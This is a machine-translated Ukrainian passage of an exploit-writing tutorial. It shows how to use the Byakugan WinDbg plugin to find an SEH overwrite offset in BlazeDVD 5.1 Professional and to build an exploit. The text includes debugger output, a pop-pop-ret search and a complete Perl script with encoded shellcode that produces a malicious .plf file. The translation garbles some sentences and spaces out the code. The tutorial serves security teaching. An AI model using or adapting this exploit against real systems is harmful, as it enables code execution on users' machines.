Головна

Byakugan: введення, pattern_offset і searchOpcode

  1.  Byakugan: findReturn
  2.  Byakugan: identBuf / listBuf / rmBuf і hunt
  3.  Byakugan: memDiff

Написання експлойта. Частина 5.

У перших частинах цього уроку я переважно використовував Windbg, як інструмент для перегляду регістра і змісту стеків під час оцінки помилок і побудови експлойтів. Сьогодні, я розповім про інші відладчика і плагінах, які допоможуть прискорити цей процес. Типовий арсенал інструментів написання експлойтів повинен включати в себе наступне:

У попередніх розділах, ми вже грали з windbg, і я вже коротко розповідав про доповнення windbg або плагін від Microsoft, яка оцінює помилки і показує чи можна використовувати знайдену помилку чи ні. Цей плагін (MSEC) можна завантажити тут -http: //www.codeplex.com/msecdbg. Коли ви отримаєте перше враження від MSEC, врахуйте що на нього не варто занадто покладатися. Завжди краще подивитися вручну в регістрі, значенні стека і спробувати побачити призведе вразливість до виконання коду чи ні.

Byakugan: введення, pattern_offset і searchOpcode

Всі знають, що ollydbg має безліч плагінів (я розповім про них пізніше). У Windbg так само є framework (каркас) / API для побудови полігонів / доповнень. MSEC є тільки одним прикладом ... Metasploit створили і випустили власний windbg плагін, близько року тому, названий byakugan. Пре-компілюють бінарні файли для WIndows XP SP2, SP3, Vista і Windows 7 можна знайти в папці framework3 (отримаєте пізніше через trunk via svn), в \ external \ source \ byakugan \ bin помістіть byakugan.dll і injectsu.dll, в папку windbg (тільки не в winext!), і detoured.dll в c: \ windows \ system32. Що можна зробити з byakugan.dll ?

Injectsu.dll пов'язана з функціями API в головному процесі. Вона створює обхідний канал збору інформації і пов'язує його з отладчиком. Detoured.dll - Бібліотека перехоплення Microsoft Research, що зв'язує трамплін-код, дотримуючись шляху кривої функції і забезпечуючи авто відновлення на функції-трампліні. Сьогодні, я сфокусується тільки на byakugan, точніше на jutsu (тому я можу використовувати тільки технології наведені в перших частинах навчального курсу для демонстрації властивостей цього компонента) і pattern_offset. Ви можете завантажити модуль byakugan в windbg, використовуючи наступну команду:

0: 000> ! Load byakugan

[Byakugan] Successfully loaded!

Jutsu, надає наступні функції:

У додаванні до jutsu, використовується pattern_offset, який дозволяє вам знайти metasploit pattern в пам'яті і показує зниження eip.

Для демонстрації того як byakugan може збільшити швидкість розвитку exploit- процесу, ми використовуємо уразливості знайдені в BlazeDVD 5.1 Professional / Blaze HDTV Player 6.0, де незавершений plf-файл призводить до стека переповнення буфера.

Ми спробуємо створити exploit, що працює тільки з однією помилкою :-)

Встановіть копію BlazeDVD 5 Professional з http://www.blazevideo.com/download.htm

Локальну копію з уразливістю можна скачати тут:

BlazeDVD 5.1 Professional (10.6 MiB, 1,047 hits)
You do not have permission to download this file.

Зазвичай, ми починаємо зі створення навантаження, що містить безліч A's. Але зараз, ми будемо використовувати metasploit pattern.

Створіть metasploit pattern, що складається з 1000 характеристик і збережіть зразок в файл (e.g. blazecrash.plf):

peter @ sploitbuilder1 ~ / framework-3.2 / tools

$ ./pattern_create.rb 1000> blazecrash.plf

Запустіть windbg, і через нього запустити blazedvd. (Для впевненості, що якщо в додатку є помилка, то windbg знайде її). Зніміть додаток з паузи (ви можете натиснути F5 кілька разів (близько 27 в моїй системі) для запуску програми). Коли blazeDVD запуститься, відкрийте plf-файл (який містить лише metasploit pattern). Коли виконання програми закінчиться, натисніть F5 знову.

Ви повинні отримати наступне:

(5b0.894): Access violation (5b0.894): Access violation - code c0000005 (first chance)

- Code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax = 00000001 ebx = 77f6c19c ecx = 062ddcd8 edx = 00000042 esi = 01f61c20 edi = 6405569c

eip = 37694136 esp = 0012f470 ebp = 01f61e60 iopl = 0 nv up ei pl nz na pe nc

Зараз саме час використовувати byakugan. Завантажте модуль byakugan і подивіться чи зможе він знайти де-небудь metasploit pattern:

0: 000> ! Load byakugan

[Byakugan] Successfully loaded!

0: 000> ! Pattern_offset 1000

[Byakugan] Control of ecx at offset 612.

[Byakugan] Control of eip at offset 612.

Прекрасно. Але не тільки тому що ми підтвердити переповнення буфера, так само знаємо відхилення, все в одному потоці. Виглядає так как-будто ми переписали RET ... але до укладення, що це проста перепис RET, завжди запущена! розчепити, розчепити просто для підтвердження.

0: 000> ! exchain

0012afe4: 0012afe4: ntdll! ExecuteHandler2 + 3a (7c9032bc)

ntdll! ExecuteHandler2 + 3a (7c9032bc)

0012f5b8: 0012f5b8: +41347540 (41347541)

+41347540 (41347541)

Invalid exception stack at 33754132

Це ґрунтується на SEH. Зсув показує (612) is the offset to nSEH. Тому для переписання наступного SEH, нам потрібно відняти 4 байта для отримання реального зсуву. (= 608)

Ми знаємо, що типовий SEH базується на експлойтів виглядає так:

[Junk] [jump] [pop pop ret] [shellcode]

Давайте знайдемо pop pop ret, і ми

Знайдемо pop pop ret: Ви все ще можете використовувати findjmp, або! Jutsu searchOpcode. Єдиний недолік! Jutsu searchOpcode, в тому що вам доведеться визначати регістри самому (findjmp знаходить все комбінації pop pop ret). Але давайте все-таки будемо використовувати searchOpcode. Ми шукаємо pop esi, pop ebx, ret

0: 000> ! Jutsu searchOpcode pop esi | pop ebx | ret

[J] Searching for:

> Pop esi

> Pop ebx

> ret

[J] Machine Code:

> 5e 5b c3

[J] Executable opcode sequence found at: 0x05942a99

[J] Executable opcode sequence found at: 0x05945425

[J] Executable opcode sequence found at: 0x05946a1e

[J] Executable opcode sequence found at: 0x059686a0

[J] Executable opcode sequence found at: 0x05969d91

[J] Executable opcode sequence found at: 0x0596aaa6

[J] Executable opcode sequence found at: 0x1000467f

[J] Executable opcode sequence found at: 0x100064c7

[J] Executable opcode sequence found at: 0x10008795

[J] Executable opcode sequence found at: 0x1000aa0b

[J] Executable opcode sequence found at: 0x1000e662

[J] Executable opcode sequence found at: 0x1000e936

[J] Executable opcode sequence found at: 0x3d937a1d

[J] Executable opcode sequence found at: 0x3d93adf5

... (Etc)

Пошукайте адреси в адресному просторі використовуваного модуля / dll's from BlazeDVD. (Ви можете подивитися список виконуваних модулів за допомогою команди "lm" в windbg). У моїй системі (XP SP3 En), адреси починаються з 0 ? 64 працюють нормально. Ми будемо використовувати 0x640246f7

0: 000> u 0x640246f7MediaPlayerCtrl! DllCreateObject + 0x153e7: 640246f7 5e pop esi640246f8 5b pop ebx640246f9 c3 ret

Давайте побудуємо наш експлойт:

my $ sploitfile = "blazesploit.plf"; my $ junk = "A" x 608; # 612 - 4my $ nseh = "\ xeb \ x1e \ x90 \ x90"; #jump 30 bytesmy $ seh = pack ( 'V', 0x640246f7); #pop esi, pop ebx, retmy $ nop = "\ x90" x 30; #start with 30 nop's # windows / exec - 302 bytes # http: //www.metasploit.com# Encoder: x86 / alpha_upper # EXITFUNC = seh, CMD = calcmy $ shellcode = "\ x89 \ xe3 \ xdb \ xc2 \ xd9 \ x73 \ xf4 \ x59 \ x49 \ x49 \ x49 \ x49 \ x49 \ x43 "." \ x43 \ x43 \ x43 \ x43 \ x43 \ x51 \ x5a \ x56 \ x54 \ x58 \ x33 \ x30 \ x56 \ x58 " . "\ x34 \ x41 \ x50 \ x30 \ x41 \ x33 \ x48 \ x48 \ x30 \ x41 \ x30 \ x30 \ x41 \ x42". "\ x41 \ x41 \ x42 \ x54 \ x41 \ x41 \ x51 \ x32 \ x41 \ x42 \ x32 \ x42 \ x42 \ x30 "." \ x42 \ x42 \ x58 \ x50 \ x38 \ x41 \ x43 \ x4a \ x4a \ x49 \ x4b \ x4c \ x4b \ x58 "." \ x51 \ x54 \ x43 \ x30 \ x45 \ x50 \ x45 \ x50 \ x4c \ x4b \ x47 \ x35 \ x47 \ x4c "." \ x4c \ x4b \ x43 \ x4c \ x43 \ x35 \ x44 \ x38 \ x43 \ x31 \ x4a \ x4f \ x4c \ x4b "." \ x50 \ x4f \ x44 \ x58 \ x4c \ x4b \ x51 \ x4f \ x47 \ x50 \ x45 \ x51 \ x4a \ x4b "." \ x50 \ x49 \ x4c \ x4b \ x46 \ x54 \ x4c \ x4b \ x45 \ x51 \ x4a \ x4e \ x50 \ x31 "." \ x49 \ x50 \ x4c \ x59 \ x4e \ x4c \ x4c \ x44 \ x49 \ x50 \ x44 \ x34 \ x45 \ x57 "." \ x49 \ x51 \ x49 \ x5a \ x44 \ x4d \ x43 \ x31 \ x49 \ x52 \ x4a \ x4b \ x4b \ x44 "." \ x47 \ x4b \ x50 \ x54 \ x47 \ x54 \ x45 \ x54 \ x43 \ x45 \ x4a \ x45 \ x4c \ x4b "." \ x51 \ x4f \ x46 \ x44 \ x45 \ x51 \ x4a \ x4b \ x45 \ x36 \ x4c \ x4b \ x44 \ x4c "." \ x50 \ x4b \ x4c \ x4b \ x51 \ x4f \ x45 \ x4c \ x43 \ x31 \ x4a \ x4b \ x4c \ x4b "." \ x45 \ x4c \ x4c \ x4b \ x43 \ x31 \ x4a \ x4b \ x4d \ x59 \ x51 \ x4c \ x46 \ x44 "." \ x43 \ x34 \ x49 \ x53 \ x51 \ x4f \ x46 \ x51 \ x4b \ x46 \ x43 \ x50 \ x46 \ x36 "." \ x45 \ x34 \ x4c \ x4b \ x50 \ x46 \ x50 \ x30 \ x4c \ x4b \ x51 \ x50 \ x44 \ x4c "." \ x4c \ x4b \ x42 \ x50 \ x45 \ x4c \ x4e \ x4d \ x4c \ x4b \ x42 \ x48 \ x43 \ x38 "." \ x4b \ x39 \ x4a \ x58 \ x4d \ x53 \ x49 \ x50 \ x43 \ x5a \ x50 \ x50 \ x43 \ x58 "." \ x4c \ x30 \ x4d \ x5a \ x45 \ x54 \ x51 \ x4f \ x42 \ x48 \ x4d \ x48 \ x4b \ x4e "." \ x4d \ x5a \ x44 \ x4e \ x50 \ x57 \ x4b \ x4f \ x4b \ x57 \ x43 \ x53 \ x43 \ x51 "." \ x42 \ x4c \ x43 \ x53 \ x43 \ x30 \ x41 \ x41 "; $ Payload = $ junk. $ Nseh. $ Seh. $ Nop. $ Shellcode; open ($ FILE, "> $ sploitfile"); print $ FILE $ payload; close ($ FILE);

Протестуйте - в моїй системі працює нормально.

Це був прекрасний наочний приклад .. і поки нам щастить, так як існує кілька складнощів з написанням експлойта в сліпу, грунтуючись на властивостях byakugan:

Але якщо все-таки він працює, ви збережете свій час.



 Можна і так сказати, просто візит ввічливості. Дякую за інформацію, може ще й зайду якось допоможу з прибиранням. |  Byakugan: memDiff

 Byakugan: identBuf / listBuf / rmBuf і hunt |  Byakugan: findReturn |  Ollydbg plugins |  Findtrampoline |  Aslrdynamicbase |  Pvefindaddr |  Інші pycommands і command syntax |  Інші корисні служби immdbg |

© um.co.ua - учбові матеріали та реферати